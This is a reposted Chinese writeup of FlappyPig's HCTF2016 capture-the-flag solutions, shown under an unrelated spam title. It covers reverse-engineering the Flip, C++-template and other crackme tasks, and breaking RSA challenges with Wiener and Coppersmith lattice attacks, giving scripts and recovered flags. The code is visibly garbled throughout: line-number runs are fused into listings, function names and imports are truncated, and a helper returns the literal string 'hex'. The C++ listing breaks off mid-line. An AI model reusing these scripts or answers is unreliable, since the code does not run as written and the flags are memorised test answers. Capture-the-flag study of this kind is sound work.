您的位置 首页 > 数码极客

【opA37多少钱】FlappyPig HCTF2016 Writeup

作者:FlappyPig

预计稿费:600RMB(不服也来投稿!)。

提交方法:发送电子邮件至linwei#360.cn或登录在线提交网页

Flip

首先,这个问题是Linux QT程序。

主要分成三个部分

1.一个多阶Flip game

2.一个三阶错乱的Flip game

3.一个内存中执行的三阶Flip game,执行操作由第二个游戏的步子有关。

二.第一关游戏很简单,从主对角线开始一直走对角线即可。

或者爆破406035这个位置

三.第二关是一个错位的Flip game

所谓的错乱就是错乱了逻辑,例如一个正常的3*3 Flip逻辑为

1 2 3 1 3 2

4 5 6 错乱之后为 7 9 8

7 8 9 4 6 5

第二关最多只能有7步,超过7步就算失败

所以需要遍历出第二关所有的走法

所有可能如下

123456789101112819202122232425262728[1, 3, 2, 9, 4, 5, 3][1, 3, 2, 9, 5, 3, 4][1, 3, 2, 9, 5, 4, 3][1, 7, 4, 9, 2, 5, 7][1, 7, 4, 9, 5, 2, 7][1, 7, 4, 9, 5, 7, 2][2, 1, 7, 4, 9, 5, 7][2, 7, 9, 4, 5, 7, 1][2, 7, 9, 5, 4, 7, 1][2, 9, 7, 4, 5, 7, 1][2, 9, 7, 5, 4, 7, 1][3, 4, 9, 2, 5, 3, 1][3, 4, 9, 5, 2, 3, 1][3, 9, 2, 5, 3, 1, 4][3, 9, 5, 2, 3, 1, 4][4, 1, 3, 2, 9, 5, 3][4, 3, 9, 2, 5, 3, 1][4, 3, 9, 5, 2, 3, 1][4, 9, 3, 2, 5, 3, 1][4, 9, 3, 5, 2, 3, 1][7, 2, 9, 4, 5, 7, 1][7, 2, 9, 5, 4, 7, 1][7, 9, 4, 5, 7, 1, 2][7, 9, 5, 4, 7, 1, 2][9, 3, 2, 5, 3, 1, 4][9, 3, 5, 2, 3, 1, 4][9, 7, 4, 5, 7, 1, 2][9, 7, 5, 4, 7, 1, 2]

四.过了第二关之后出现一个flag提交窗口,submit的按钮事件位于sub_407170

判断输入的长度是不是为32之后调用函数sub_406a80

在sub_406a80中会根据第二关的步骤,去解码第三关的执行步骤。

第二关的走法会影响后续的走法解码(因为之前是直接爆破的所及在在这里卡了很久)。

第二关走的位置和对应的内存数据对应关系如下:

11=>0,2=>2,3=>1,4=>6,5=>8,7=>3,9=>4

得到被分解之后的key,所谓分解就是

将输入的ascii分解,成两个字节的的表示,低位放低位高位放高位。

例如

123输入 1234Ascii 31 32 33 34分解 01 03 02 03 03 03 04 03

之后会判断key的后六位

最后六位为74343}

然后定位到分解后的key第一位和分解后key的倒数第七位,获取以后传入sub_406780,也就是game3_flip,最后从头部和尾部往中间逼近。

本题最主要的逻辑在函数sub_406780处

分析后函数如下

主要逻辑已经注释,就是传入a2,a3两个参数用来控制flip game的起始状态,a4是解码后的game3_steps,在game3_steps中遇到0即进行判断是否灯全灭。

由于可以知道forword_char的第一位是8(h分解为08和06),那么可以推测第一步flip的初始状态为

FF FF 00 00 FF 00

00 00 00 或者 00 00 00

00 00 00 00 00 00

用之前获得的走法去解码,game3_steps打印出第一个0之前有效操作。

可以看到一个符合条件的走法

8310,对应的Game2_step

1[4, 9, 3, 5, 2, 3, 1]

解码后的Game3_step

12345678910111281920212223242526272829303373839404142434445464748495055758596061626364656667686970717273747576777879808878889909192939495969798991001011021031048,3,1,0,9,7,5,3,1,0,9,7,2,0,9,7,2,0,8,3,1,0,4,9,0,6,1,0,4,2,5,1,0,7,6,0,4,9,0,9,7,2,0,9,7,5,3,1,0,9,7,5,3,1,0,4,9,0,5,3,6,2,0,9,7,5,3,1,0,8,3,1,0,7,5,8,4,0,5,3,6,2,0,9,7,5,3,1,0,8,6,9,5,0,8,3,1,0,5,3,6,2,0,9,7,5,3,1,0,9,7,5,3,1,0,4,9,0,6,1,0,9,7,5,3,1,0,9,7,5,3,1,0,4,9,0,6,1,0,9,7,5,3,1,0,7,6,0,8,3,1,0,9,7,2,0,9,7,2,0,7,6,0,4,9,0,6,1,0,4,2,5,1,0,8,3,1,0,7,5,8,4,0,5,3,6,2,0,9,7,2,0,8,3,1,0,7,5,8,4,0,5,3,6,2,0,9,7,5,3,1,0,8,6,9,5,0,7,5,8,4,0,9,7,2,0,9,7,5,3,1,0,7,6,0,8,3,1,0,9,7,2,0,4,2,5,1,0,9,7,5,3,1,0,7,5,8,4,0,6,1,0,9,7,5,3,1,0,7,6,0,8,3,1,0,5,3,6,2,0,9,7,5,3,1,0,9,7,5,3,1,0,9,7,5,3,1,0,6,1,0,9,7,5,3,1,0,7,6,0,4,9,0,6,1,0,9,7,5,3,1,0,8,3,1,0,9,7,5,3,1,0,6,1,0,9,7,2,0,8,3,1,0,4,9,0,6,1,0,4,2,5,1,0,7,6,0,4,9,0,9,7,2,0,9,7,5,3,1,0,8,6,9,5,0,8,3,1,0,9,7,5,3,1,0,9,7,5,3,1,0,8,6,9,5,0,4,9,0,6,1,0,9,7,2,0,7,6,0,9,7,5,3,1,0,5,3,6,2,0,4,2,5,1,0,8,3,1,0,4,9,0,5,3,6,2,0,9,7,5,3,1,0,8,3,1,0,8,3,1,0,5,3,6,2,0,9,7,5,3,1,0

根据走法获得初始化矩阵:

1234567891011128192021222324252627282930337383940414243444546474849505575859606162636465666768697071727374757677787980887888990919293949596979899100101102103104[[0, 1, 0], [0, 0, 0], [0, 0, 0]][[0, 0, 0], [0, 0, 0], [0, 0, 0]][[0, 0, 0], [0, 0, 0], [0, 1, 0]][[0, 0, 0], [0, 0, 0], [0, 1, 0]][[0, 1, 0], [0, 0, 0], [0, 0, 0]][[0, 1, 1], [0, 0, 0], [0, 0, 0]][[0, 0, 0], [0, 0, 0], [1, 1, 0]][[0, 0, 0], [0, 0, 0], [0, 0, 1]][[1, 1, 0], [0, 0, 0], [0, 0, 0]][[0, 1, 1], [0, 0, 0], [0, 0, 0]][[0, 0, 0], [0, 0, 0], [0, 1, 0]][[0, 0, 0], [0, 0, 0], [0, 0, 0]][[0, 0, 0], [0, 0, 0], [0, 0, 0]][[0, 1, 1], [0, 0, 0], [0, 0, 0]][[0, 0, 0], [0, 0, 0], [1, 0, 0]][[0, 0, 0], [0, 0, 0], [0, 0, 0]][[0, 1, 0], [0, 0, 0], [0, 0, 0]][[0, 0, 1], [0, 0, 0], [0, 0, 0]][[0, 0, 0], [0, 0, 0], [1, 0, 0]][[0, 0, 0], [0, 0, 0], [0, 0, 0]][[1, 0, 0], [0, 0, 0], [0, 0, 0]][[0, 1, 0], [0, 0, 0], [0, 0, 0]][[0, 0, 0], [0, 0, 0], [1, 0, 0]][[0, 0, 0], [0, 0, 0], [0, 0, 0]][[0, 0, 0], [0, 0, 0], [0, 0, 0]][[0, 1, 1], [0, 0, 0], [0, 0, 0]][[0, 0, 0], [0, 0, 0], [1, 1, 0]][[0, 0, 0], [0, 0, 0], [0, 0, 0]][[0, 0, 0], [0, 0, 0], [0, 0, 0]][[0, 1, 1], [0, 0, 0], [0, 0, 0]][[0, 0, 0], [0, 0, 0], [1, 1, 0]][[0, 0, 0], [0, 0, 0], [0, 0, 0]][[1, 1, 0], [0, 0, 0], [0, 0, 0]][[0, 1, 0], [0, 0, 0], [0, 0, 0]][[0, 0, 0], [0, 0, 0], [0, 1, 0]][[0, 0, 0], [0, 0, 0], [0, 1, 0]][[1, 1, 0], [0, 0, 0], [0, 0, 0]][[0, 1, 1], [0, 0, 0], [0, 0, 0]][[0, 0, 0], [0, 0, 0], [1, 1, 0]][[0, 0, 0], [0, 0, 0], [0, 0, 1]][[0, 1, 0], [0, 0, 0], [0, 0, 0]][[0, 0, 1], [0, 0, 0], [0, 0, 0]][[0, 0, 0], [0, 0, 0], [1, 0, 0]][[0, 0, 0], [0, 0, 0], [0, 1, 0]][[0, 1, 0], [0, 0, 0], [0, 0, 0]][[0, 0, 1], [0, 0, 0], [0, 0, 0]][[0, 0, 0], [0, 0, 0], [1, 0, 0]][[0, 0, 0], [0, 0, 0], [0, 0, 0]][[1, 0, 0], [0, 0, 0], [0, 0, 0]][[0, 0, 1], [0, 0, 0], [0, 0, 0]][[0, 0, 0], [0, 0, 0], [0, 1, 0]][[0, 0, 0], [0, 0, 0], [0, 0, 0]][[1, 1, 0], [0, 0, 0], [0, 0, 0]][[0, 1, 0], [0, 0, 0], [0, 0, 0]][[0, 0, 0], [0, 0, 0], [0, 1, 0]][[0, 0, 0], [0, 0, 0], [0, 0, 1]][[0, 0, 0], [0, 0, 0], [0, 0, 0]][[0, 0, 1], [0, 0, 0], [0, 0, 0]][[0, 0, 0], [0, 0, 0], [1, 1, 0]][[0, 0, 0], [0, 0, 0], [0, 0, 0]][[1, 1, 0], [0, 0, 0], [0, 0, 0]][[0, 1, 0], [0, 0, 0], [0, 0, 0]][[0, 0, 0], [0, 0, 0], [1, 0, 0]][[0, 0, 0], [0, 0, 0], [0, 0, 0]][[0, 0, 0], [0, 0, 0], [0, 0, 0]][[0, 0, 0], [0, 0, 0], [0, 0, 0]][[0, 0, 0], [0, 0, 0], [1, 1, 0]][[0, 0, 0], [0, 0, 0], [0, 0, 0]][[1, 1, 0], [0, 0, 0], [0, 0, 0]][[0, 1, 1], [0, 0, 0], [0, 0, 0]][[0, 0, 0], [0, 0, 0], [1, 1, 0]][[0, 0, 0], [0, 0, 0], [0, 0, 0]][[0, 1, 0], [0, 0, 0], [0, 0, 0]][[0, 0, 0], [0, 0, 0], [0, 0, 0]][[0, 0, 0], [0, 0, 0], [1, 1, 0]][[0, 0, 0], [0, 0, 0], [0, 1, 0]][[0, 1, 0], [0, 0, 0], [0, 0, 0]][[0, 1, 1], [0, 0, 0], [0, 0, 0]][[0, 0, 0], [0, 0, 0], [1, 1, 0]][[0, 0, 0], [0, 0, 0], [0, 0, 1]][[1, 1, 0], [0, 0, 0], [0, 0, 0]][[0, 1, 1], [0, 0, 0], [0, 0, 0]][[0, 0, 0], [0, 0, 0], [0, 1, 0]][[0, 0, 0], [0, 0, 0], [0, 0, 0]][[1, 0, 0], [0, 0, 0], [0, 0, 0]][[0, 1, 0], [0, 0, 0], [0, 0, 0]][[0, 0, 0], [0, 0, 0], [0, 0, 0]][[0, 0, 0], [0, 0, 0], [0, 0, 0]][[1, 0, 0], [0, 0, 0], [0, 0, 0]][[0, 1, 1], [0, 0, 0], [0, 0, 0]][[0, 0, 0], [0, 0, 0], [1, 1, 0]][[0, 0, 0], [0, 0, 0], [0, 1, 0]][[1, 1, 0], [0, 0, 0], [0, 0, 0]][[0, 0, 0], [0, 0, 0], [0, 0, 0]][[0, 0, 0], [0, 0, 0], [1, 0, 0]][[0, 0, 0], [0, 0, 0], [0, 0, 1]][[0, 1, 0], [0, 0, 0], [0, 0, 0]][[0, 1, 1], [0, 0, 0], [0, 0, 0]][[0, 0, 0], [0, 0, 0], [1, 0, 0]][[0, 0, 0], [0, 0, 0], [0, 0, 0]][[0, 1, 0], [0, 0, 0], [0, 0, 0]][[0, 1, 0], [0, 0, 0], [0, 0, 0]][[0, 0, 0], [0, 0, 0], [1, 0, 0]][[0, 0, 0], [0, 0, 0], [0, 0, 0]]

每四个组确定两个半字节,相当于一个字节,一共104组可以获得26字节,加上前面的6字节获得全部32字节

然后就是去推出,输入的forward_char和back_char了,由于限制在0f之中所以使用爆破的方式

脚本如下

123456789101112819202122232425262728293033738394041424344454647init = [2, 0, 128, 128, 2, 6, 192, 256, 3, 6, 128, 0, 0, 6, 64, 0, 2, 4, 64, 0, 1, 2, 64, 0, 0, 6, 192, 0, 0, 6, 192, 0, 3, 2, 128, 128, 3, 6, 192, 256, 2, 4, 64, 128, 2, 4, 64, 0, 1, 4, 128, 0, 3, 2, 128, 256, 0, 4, 192, 0, 3, 2, 64, 0, 0, 0, 192, 0, 3, 6, 192, 0, 2, 0, 192, 128, 2, 6, 192, 256, 3, 6, 128, 0, 1, 2, 0, 0, 1, 6, 192, 128, 3, 0, 64, 256, 2, 6, 64, 0, 2, 2, 64, 0]key = [0,0,0,0]list1 = [0,1,6,7]list2 = [1,2,7,8]#tmp = ['h','c','t','f','{']list3 = [None]*52list3[0] = ord('h')&0x0flist3[1] = (ord('h')&0xF0)>>4list3[2] = ord('c')&0x0flist3[3] = (ord('c')&0xF0)>>4list3[4] = ord('t')&0x0flist3[5] = (ord('t')&0xF0)>>4list3[6] = ord('f')&0x0flist3[7] = (ord('f')&0xF0)>>4list3[8] = ord('{')&0x0flist3[9] = (ord('{')&0xF0)>>4print len(init)for k in range(26): for i in range(256): for l in range(4): z = 0 v8 = (i&0xF0)>>4 if (k<10): v7 = list3[k]&0x0F else : v7 = (i&0x0F) if (v7&(1<<l)!=0): z |= (1<<list1[l]) if (v8&(1<<l)!=0): z |= (1<<list2[l]) #print "z=",bin(z) if (z==init[k*4+l]): print i print l if (l==3): print k*4+l,v8,v7 list3[k] = v7 list3[51-k] = v8 print "z=",bin(z) break else: break if (z!=init[k*4+l]) and i==255: print "error"print list3

得到结果

重新编码后为

Hctf{L1ttl3_f1lip_Game3_for_

加上的前面的74343}

最后为

Hctf{L1ttl3_f1lip_Game3_for_74343}

前年的400分


关键位置sub_401090,用ida f5之后,整理数据可得

是一个多元一次方程组的形式,写脚本把每个未知数的系数提取出来建立矩阵,判断结果也提取出来建立矩阵,交给matlab即可得到答案。

Crypto So Interesting


题目中t,e是关于bt的逆元,直接求出t。u 1024bit,ut是phi n的一对逆元,直接wiener attack,跑出u。

ut是phi n的倍数,直接暴力跑phi n,得到phi n,解d,得到flag:

1234567891011128192021222324bt=536380958350616057242691450219210633231722805196706432764209129768763017482341774764352705196316905437651252955544486988987123934672670064650459496116678935933767294847120224289101045049336950823277962439768633783339809230474112309759877351702062345876337256220760223926254773346698839492268265110546383782370744599490250832085044856878026833143997676467796178925346021780827267288699459985659530490279055812008282605632638496291030500771670510679811793785265688410659783980873935386069677459788971114075947896143693328869481662476174222930433649682981760076590582795689217196526049580723105450781160209981654328367707069941427368374644442366092232916196726067387582032505389946398237266927542785701054326217646834329421725808627524408629247539436627821223125528123432629743012932727654986046774759567950981007877856194574274373776538888953502272879816420369255752871177234736347325263320696917012616273Ln=0xea9c2c15896c2353cea7d6eeccc80ce89ca7324fdba7768ebfd10577c599b6eafaed93e719b6d69215af1c3e59d1930a71fb872ef22d28de9ffceedb854f7c10996256621d5e8941934eb284375b3b773b87ee8ded799318c8d0323e8bf98495b76336ee136a650a57fbe710666178343e77e79cb3a7d28e8c2dfba4b85105f7a381d39c163ee79246248c0402f4d9b25404a22daf5e64d0a72454649643af2d3bde001a7f127203cfc9a34bb993c3e1a532115ec53cb679e618d46832922d72f7f67e2b627c077c2f366ef7f0828a3c64895291e00b98413e6e28eca033b896703fad3bf133f34ed6e1a6fc641b33da0df745c1ecf421a058c2a7e44becf1f07fadf1eacf18810c56473e6d59a6af8221d1ae6e0547f1014018c90f175441e7efa724112a5949e6860358176ecfc4b42c0653df56ed4c52cfd44d7e02326400bcc66040bb6d7a7ed149da2eec485d9c2f84080fff045eeedbf7109aacdb4aa4e5c0c6884b57c0c86c22e934f8fc18369e19206fc52a618b892e3eb97f01d8d438bd61291823ce1d08e6af084e5a9fe528db5eead2eefa4ed3812faa48eab7aaa3430bdaa7bed31d4949391efbaadc8c57d02443388c1f028823d4fd0b9ab5548136a86974badf987369411a93c40af8d7a66d21575fdd9ef90b1ab2a1cbea1bd4b5f9ea44e081f138ffb743153f6047d63f1311d93a3f4dd0fa6791e0f881c3Le=0x1f11d804be3e294d0f537fc8c945f2b39fe27ec62a0b5d65c8b2d8fdd7e90cebd767b3d2de457cc580454e8359857bbd512e8a41124388dd0cd051c58e0db39b9f55a0d48296df58721fdff8694691436f274e6b1307a9be83b097b9cd05679f7b7a0c2689352f254bc18f1965863c77d034fc9736744a2b2da3a5fead5ce1a9691e655fb36ba12584d49f332a024f75923ec5752a49f53a097bada8de98bd0e58062c74b92d19f08aaa13f130cba42acd72c374de64b66374f099bb693d68023bc6f75be6df31d01dd182317439c2ff73bb8e3af7751a65ae7d69197f9c1764430dc9e49cb5ea5e93867a5d695626ff5fe23283ae8a758a0ba902512cd6e57061644f774200dc44b1b50402306332d3483bc8000f7aa6247fc064efc27431effe78e85fd83e2c314b0d98a40d47e6a0266e0fed9a800adab382d0fe67a3d36b1f3b3f3d2aba31c86e2c037da5a79289bbb868f6bed4d76bed0bb5a2b317d05be1b64895a9bfad508a6cd36c26510731810ef712e06df60ba09097951b1b401a84ef3feb953de7325b8a4854ca512eaf93e50baf6b1f641d559e529ce0fbbf0856658e2256d123067ae68416ac6a544475652ee28afa243566ad52ce19380f1f8f69991186ea0ec5495b646fa96702586ac24ebe614cfdd765dd3a79be12344c19ac316eea13006deef635daa2cba1b8396d854287c2b80d6dd45Lc=0xc6a7aa2373cb91df3028341d64bc173ac97ebcdb77cbc93276050e428bc96b4b639296a815641e9281d8ba1028cdc395877889e5b39a30f13682f4bee5026ab1a63218b1a099fb1364bf0040bb5769c92aad8f9215b7ff4d3b51a37f6384124d761f4cc1fd12da4e4c165896b78496ef1a71e1e3d8370469ebfcbe3e611a1573b6a89a07942b86727a79ad57fb14c67826a546acf8d12bb7411f0c1aba989a80c7b24afb5ebc216beda3eeb90894459c984a2f6b31ea755481c7fed9c14e2f9497ce99fc68e085bd8ad6841b37556d7bb8282ae0b4bf3160f99f6f9cc7b762548f7cc82d8aa656df5cf1178bfa4f237bfd71c8303a4277aea97df59606455c2050778d62b9803c87411f49c1816dacb1b1337647082f00983d167204d2c20b3cabc603fe0746d5110dff5a7beac602d5d3552757c7ffdc53132d913b810861f807861b41931dc244a2391f17456962080c010bb781a88de38778aacd4c4fed7c8be701c45eab643202c6ee0794167accd911103ab0310c1e3a7301b8d0b011b11da3d19defb8fb7e43f290a96a376115a58463d2629ed56955fcba4255295a35888534cd9118c006d3be48d3309a988f6d10b98d53a3f2fcfe3cc2ece34a6938e7b638a09120bf8b43ec1ab5411918f00f7951120e706bd2d3fcbf3b02420b76607275855b0f1013617907bd97611941a3b59b303c2f269cfb9efda02b720781Limport primefact=(e,bt)%btu=211757679875376668686540553739283248408071060409284205542745765852620058742732900798224538666832506877022485788062530443206064910622190294900967609883011924833456488793053025124142028479477845751print u*t-1def num2str(num): tmp=hex(num)[2:].replace("L","") if len(tmp) % 2 == 0: return ("hex") else: return ("0"+tmp).decode("hex")last=(u*t-1) % ((2**6)*3*5*7*13*19*73*151*163*1693*3853*9941)all=[2,2,2,2,2,2,3,5,7,13,19,73,151,163,1693,3853,9941,last]for i1 in all: testphin=(u*t-1)/i1 try: d=(e,testphin)%testphin except: continue print pow(c,d,n) print num2str(pow(c,d,n))

Crypto So Cool


gen_key中看出n的第128比特到128+640bit是u,也就是p的前面640个bit。以前弄格基规约的时候用过的一份github上的sage代码可解:

解出的是pbar-p,用pbar减去该值即可。

12345678910111281920212223242526272829303373839404142434445464748from Cry import long_to_bytes, bytes_to_longfrom Cry import DESkey = "abcdefg1"def pi_b(x, m): ''' m: 1: encrypt 0: decrypt ''' enc = DES.new(key) if m: method = enc.encrypt else: method = enc.decrypt s = long_to_bytes(x) sp = [s[a:a+8] for a in xrange(0, len(s), 8)] r = "" for a in sp: r += method(a) return bytes_to_long(r)def num2str(num): tmp=hex(num)[2:].replace("L","") if len(tmp) % 2 == 0: return ("hex") else: return ("0"+tmp).decode("hex")n=0xa3f7fc8a9cdbf7029c529178d96cbf2228e36fbd704a7d383695f6e8eb54cfd58f2c13c55a5d0dae2be170865f92624c183e20d31e2d8c5a9b1481d32fd19f4e4f90fc4cea43238cd8c613bda744812361d5f4fdee12721a7e464fad69bdb5a8c5b687e2ae2f203cc620a096ad11ecf2bf155bf4f1c10dff7384a4a566965d6257a6dd588d223985c042947ee5ea5ff003283cb6bf89771901b2f1b1c890895861a1461b22639c1635abc50779fe5163eec1ffff9733bca4c33f593d4dfecfdca03d4cc2e220b2f323d1c3eec12889a23d1b0d5c00ae8070cb2d09a972ab23d0b4d70824335569eaa51539c3557b14972bcc1dd794e0ff997bb032acce40e567Le=0x10001e2=0x76b3c=0x48c22e2c71354fc7b6b9237e1e14563c9144243ffbef424c39fd1ee293fcf6569d0edc0ad807deaf1d47b34bcad0e7aeff5cf6efa39445773c1743b31ee4c70cff62f5906a14efdc74304258950f1dddb09ffac8d683d7d9ab436430bd4ff643bb51767632c002c97d75559b5ac4dda6cc1c1426b0d992b0783f6b7f521a1fb96ccd41078fde1d76e0509d7828fc50673a668e99889ef729d68260b2c458356fcbcdb0af21da831eeb06c98a48dc235b1d46e6451b4d22a2668e5b429534cfedbd1dbdb8ace6323844c9a52eb9dc8dfe9d26268f180d8e5f27d5fc7ee7e0022a4879cc68a0c9a46129bd25eac5758088a6cdc33d9458f72b381d931c212be51Lu=int(bin(n)[2:-1][128:128+640],2)p4=pi_b(u,0)print bin(p4)temp="1101111100001101011101100001010001101110000110001111111100010100111000010001110001011100000111001000111100000010101101011011010010011101001100111010010100011010111011001001111101000111111111110101101100010101111111111101111100100000010010111011010100000111001101010001110101010111100010001100010111111001001110010010011101100001001011111101011110111011011111000100010000111001000101011101001110100011110100101010100000001001101011111111100011110010010110111000111001010010111101111110001001010101001101101000000101011010000011100001001100000011111011011010000110010100111000011101110000110001010010010000010111000111100110010111110010111111"temp2="1"*384print len(temp+temp2)qbar =int(temp+temp2,2)cha=77659164894420056414393199410224060363129703875580723167299726850574333116738645234q=qbar-chap=n / qimport primefacd1=(e,(p-1)*(q-1)) % ((p-1)*(q-1))d2=(e2,(p-1)*(q-1)) % ((p-1)*(q-1))print d1print d2t1=pow(c,d1,n)t2=pow(c,d2,n)print num2str(t2)

Crypto So Amazing


首先t是n的前1024bit,yu是t的前半部分,yl是t的后半部分,通过如下方法可以计算出spub和spriv:

12345678t=int(bin(n)[2:][0:1024],2)yu=int(bin(t)[2:][0:512],2)yl=int(bin(t)[2:][512:],2)xu=F_hash(yl)^yuxl=H_hash(xu)^ylspub=int(bin(xl)[len(bin(xl))-256:len(bin(xl))],2)spriv=pow(spub,b,P)print spriv

spriv作为种子进行了若干次随机生成了p,不知道随机的次数,后面本以为和2差不多,但是第一次是被sage和python的random的序列不一样坑了。解决了这个问题后,发现还是解不出来。后爆出一个hint,给了一个不够2/3bit的泄露也可以解的脚本,而后跑出。

123456789101112819202122from rrr import get_p4n = 0xf7a8a487bc5c8127ac30cfbfc08e042580f359edce3db416b8a9abcb0e8dcac5404bb0eea3076966a78bb8e726e6fea79d305cc7c2cddb3dd2578a64b5591df1c9716878f35f1967398861cb368886b60c6d0c2984be3ead8dcdd80d68bb094805068b5d157c16d2b56cf0c3f06797b07bf3a7ab2a5099762958feaf72a212a63c74a4fb7da4092e6a91e72bf74ee961b995545891290c50cb28151b540efdedef9d4cc1c104758050c21dda8be8310fc7e005a08cedbcc8500fe0f9fdaa044e7cb07387060358add1d82521b5f8697b6a8ca2bd19a363bae7558e94404a1c4b82ee98878f9dff0e21030e020c698778aa645001f4c7726d3ac04720295975c9Lpbits = 1024g_p = get_p4()while True: p4 = g_p.next() #p4 = 0x81a722c9fc2b2ed061fdab737e3893506eae71ca6415fce14c0f9a45f8e2300711119fa0a5135a053e654fead010b96e987841e47db586a55e3d4494613aa0cc4e4ab59fc6a958b5 kbits = pbits - 576 p4 = p4 << kbits PR.<x> = PolynomialRing(Zmod(n)) f = x + p4 x0 = f.small_roots(X=2^kbits, beta=0.4) if len(x0) == 0: continue print "x: %s" %hex(int(x0[0])) p = p4+x0[0] print "p: ", hex(int(p)) assert n % p == 0 q = n/int(p) print "q: ", hex(int(q)) print "p4: ", hex(p4) break

生成p直接计算:

12345678910111281920212223242526272829303373839from Cry import size, getPrime, long_to_bytes, bytes_to_long, isPrime, getRandomNBitIntegerfrom hashlib import sha512def int_add(x1, x2): return bytes_to_long(long_to_bytes(x1) + long_to_bytes(x2))def H_hash(x): h = sha512(long_to_bytes(x)).hexdigest() return int(h, 16)def F_hash(x): h = sha512(long_to_bytes(x/4)).hexdigest() return int(h, 16)P=0xab72f3a7d42573afe7a71c23dbe3cf8feb7d8b9026a9b1c6174a0c598ceb88a1Lb=97996082n= 0xf7a8a487bc5c8127ac30cfbfc08e042580f359edce3db416b8a9abcb0e8dcac5404bb0eea3076966a78bb8e726e6fea79d305cc7c2cddb3dd2578a64b5591df1c9716878f35f1967398861cb368886b60c6d0c2984be3ead8dcdd80d68bb094805068b5d157c16d2b56cf0c3f06797b07bf3a7ab2a5099762958feaf72a212a63c74a4fb7da4092e6a91e72bf74ee961b995545891290c50cb28151b540efdedef9d4cc1c104758050c21dda8be8310fc7e005a08cedbcc8500fe0f9fdaa044e7cb07387060358add1d82521b5f8697b6a8ca2bd19a363bae7558e94404a1c4b82ee98878f9dff0e21030e020c698778aa645001f4c7726d3ac04720295975c9Lspriv=765578070392316249460231617205640228540294074078216016927174232385t = bytes_to_long(long_to_bytes(n)[:128])yu = bytes_to_long(long_to_bytes(t)[:64])yl = bytes_to_long(long_to_bytes(t)[64:])xu = F_hash(yl)^yuxl = H_hash(xu)^yls = int_add(xu, xl)print hex(s)spub = s&(2**256-1)print hex(spub)spriv = pow(spub, b, P)print sprivp=0x81a722c9fc2b2ed061fdab737e3893506eae71ca6415fce14c0f9a45f8e2300711119fa0a5135a053e654fead010b96e987841e47db586a55e3d4494613aa0cc4e4ab59fc6a958b59b825931b9b5cab0bfa07c6b0c4ac673060530d5ad8fa04f63c9f026f32c243c9a67a0fd223783dce9ad2e6a0524d559ed0c905c00323db5Lq=n/pimport primeface=0x4177d=(e,(p-1)*(q-1)) % ((p-1)*(q-1))c=0xae580a97fec8c445276f6eeb54f4a8d0cab61eaa78a9d5824e61c13898e2a7f78bda4432e863b0b38b84564b62b0c557822c1b997a8a11c85ecd19b9a378e285c270af791750feb2b1954b5254d4521aaf98094e28f61ece61059802162f3af63c9ea9caa02710b4cb00ad074a4029537699dde481a8055f33a17c7055f02334b977b7db508f96c483a8a5dcd424d5cb6b583c6772ae45c99c9779cddd8bd9480f2aa50661c8fdf1b4f96d09e4ad058faeb354a522be5fc8a7014f149c8382e30ff5e844f958ed9b91292cedd5f82a375788c87d363517c1db11735a5d13bfea18890e9cd289880a659d70bee79525e0a368abf2cf9fdc9d3a692098d09b7a96Lm=pow(c,d,n)def num2str(num): tmp=hex(num)[2:].replace("L","") if len(tmp) % 2 == 0: return ("hex") else: return ("0"+tmp).decode("hex")print num2str(m)

最正常的逆向


一道很直接的逆向题,按照程序的逻辑一步一步来:

1.首先限制输入的长度为26,然后用这个长度去解码了一个函数。

2.用一个简单的xor判断前四位:得到hctf。之后再次解码函数,进行验证。

3.之后进行下一次验证,首先获得大括号内的前四个字符,将其按照aci分割成两个部分

3.1然后会根据之前的hctf初始化一个table。

3.2用该表参与运算后,将结果和xor_result = 0x8A012F269090095DLL;比较。最后可以确定结果为The_。然后继续解码函数进入下一个验证。

4.接下来是一个逻辑推到的过程,循环两次每一次将三个字节的key分解成四个字节,最后和八个字节比较,正确的结果是result_ = 57097976LL;可以推出这个六个字节为

Basic_,然后进入下一层验证

5.下一个判断很简单,分割重组异或和结果比较,可以推到出六字节0f_RE_,然后继续下一个判断函数。

6.最后一步是明码比较。

7.得到最后的key为:hctf{The_Basic_0f_RE_0A1e}

48小时学会CPP


CPP混淆加密

1234template<x,y>A{c = enum{c=???};}

然后调用A::c这种模式可以改成

1234X A(int x,int y){return c=???;}

这种函数,方便逆向;

逆向后发现;

V0和V1必须返回为1,接下来的校验才会进行,否则直接就是错误;

Cfun10c函数是检测FLAG长度的,要使其返回1,必须是FLAG长度为27;

Cfun21函数用来校验FLAG[0]~FLAG[4]以及FLAG[25]

1FLAG[a]^48==cArr1c[a];

逆向得到hctf{********************

这个过程逆向后得到}

hctf{********************

cfun20c(a,b)的意思就是

如果a==0

这个可以得到FLAG[5]=S

接下来的FLAG[6]到FLAG[24]的规则一样(i>=1)

1234567891011121314If(i%2==1){X=(FLAG[i+5]-((i-1)*i/2)^106)X高低4位互换X=X^cArr2c[i-1]按位异或Return X== cArr2c[i]}If(i%2==0){X=(FLAG[i+5]+((i-1)*i/2)^106)X高低4位互换X=X^cArr2c[i-1]按位异或Return X== cArr2c[i]}

PAYLOAD如下

FLAG是

hctf{S0_Ea5y_Cpp_T3mp1at3}

1234567891011128192021222324252627282930337383940414243444546474849505575859606162636465666768697071727374757677787980887888990919293949596979899100101102103104105106107108109110111112111711221231241251261271281293711421431448149371162163164165166167168169170171172173174175176177178179318482#include <;#include <vector>using namespace std;vector<unsigned char> FLAG(27,27); //input the flag !!!int cFun1c(int a, int b){return (a == b);};int cfun2c(int a, int b){return (a ^ b);};int cfun3c(int b){return FLAG[b];};int cfun4c(int a, int b){return a % b ;};const static int cfun5c(int a, int b){const static int c = b << a;return c;};const static int cfun6c(int a, int b){const static int c = b >> a;return c;};const static int cfun7c(int a, int b){const static int c = a & b;return c;};const static int cfun8c(int a, int b){const static int c = a | b;return c;};int cfun9c(int b){if (b == 0)return 0;int c = b + cfun9c(b - 1);return c;};int cfun10c(int b){ return cFun1c() - 1), b) ;};int cfun11c(int a, int b){if (b == 0)return 0;return cFun1c(cfun2c(cfun3c(a), 0x20), 93);};constexpr unsigned char cArr1c[] = { 88,83,68,86,75 };int cfun12c(int a){return cArr1c[a];};int cfun13c(int a,int b){if (b == 0){return 0;}if (a == -1 && b == 1){return 1;}if (b == 1){return cfun13c(a - 1, cFun1c(cfun12c(a), cfun2c(cfun3c(a), 0x30)));}return cfun13c(a - 1, cFun1c(cfun12c(a), cfun2c(cfun3c(a), 0x30)));};int cfun14c(int a, int b){if (b == 0){return cfun3c(a + 5 * cfun10c(26)) + a;}if (b == 1){return (cfun3c(a + 5 * cfun10c(26)) - a);}return 0;};int cfun15c(int a){return cfun2c(cfun9c(a), 106);};int cfun16c(int a){ return cfun2c(cfun14c(a, cfun4c(a, 